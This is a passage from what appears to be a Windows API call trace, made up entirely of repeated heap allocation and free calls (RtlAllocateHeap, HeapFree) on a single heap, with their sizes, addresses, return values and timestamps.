hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 